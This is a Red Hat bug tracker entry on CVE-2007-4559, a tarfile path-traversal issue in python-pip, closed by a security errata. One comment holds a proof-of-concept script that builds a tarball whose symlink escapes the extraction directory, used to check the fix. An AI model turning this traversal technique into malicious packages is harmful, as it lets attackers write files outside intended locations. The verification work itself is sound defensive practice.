Bug 2207997

Summary: CVE-2007-4559 python-pip: Python tarfile extraction needs change to avoid a warning (mitigation) [rhel-9.3.0]
Product: Red Hat Enterprise Linux 9 Reporter: Petr Viktorin (pviktori) <pviktori>
Component: python-pipAssignee: Petr Viktorin (pviktori) <pviktori>
Status: CLOSED ERRATA QA Contact: Lukáš Zachar <lzachar>
Severity: medium Docs Contact:
Priority: medium    
Version: 9.3CC: cstratak, mcascell
Target Milestone: rcKeywords: Security, SecurityTracking, Triaged
Target Release: ---   
Hardware: Unspecified   
OS: Unspecified   
Whiteboard:
Fixed In Version: python-pip-21.2.3-7.el9 Doc Type: No Doc Update
Doc Text:
Story Points: ---
Clone Of:
: 2218241 2218247 2218267 (view as bug list) Environment:
Last Closed: 2023-11-07 08:56:04 UTC Type: Bug
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On:    
Bug Blocks: 263261    

Comment 1 Petr Viktorin (pviktori) 2023-05-17 16:05:43 UTC
> We may need a security report for pip

Probably a false alarm.
I *can* make a tarball that causes this function to write a file to an arbitrary location in the filesystem... but all code paths I could find in pip that use this function then run code from the extracted tarball. So users need to trust what they `pip download`, anyway.

Comment 2 Petr Viktorin (pviktori) 2023-06-27 15:27:54 UTC
Upstream issue: https://github.com/pypa/pip/issues/12111
(This doesn't cover bundled libraries)

Comment 4 Charalampos Stratakis 2023-08-10 12:13:14 UTC
Verified in the PR.

Comment 5 Charalampos Stratakis 2023-08-10 12:13:52 UTC
For verification:

Run this script to create a malformed tarball:

"""
import tarfile

def mkinfo(name, **kwargs):
    tarinfo = tarfile.TarInfo(name=name)
    for name, value in kwargs.items():
        setattr(tarinfo, name, value)
    return tarinfo

with tarfile.open('evil.tar.gz', 'w:gz') as tf:
    tf.addfile(mkinfo('./pyproject.toml'))
    tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
                      linkname='../../../../../../../../tmp'))
    tf.addfile(mkinfo('./tmp/poc'))
"""

And then run python3 -m pip install evil.tar.gz

On an unpatched pip the evil.tar.gz will install successfully.

On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.

Comment 10 errata-xmlrpc 2023-11-07 08:56:04 UTC
Since the problem described in this bug report should be
resolved in a recent advisory, it has been closed with a
resolution of ERRATA.

For information on the advisory (Moderate: python-pip security update), and where to find the updated
files, follow the link below.

If the solution does not work for you, open a new bug report.

https://access.redhat.com/errata/RHSA-2023:6694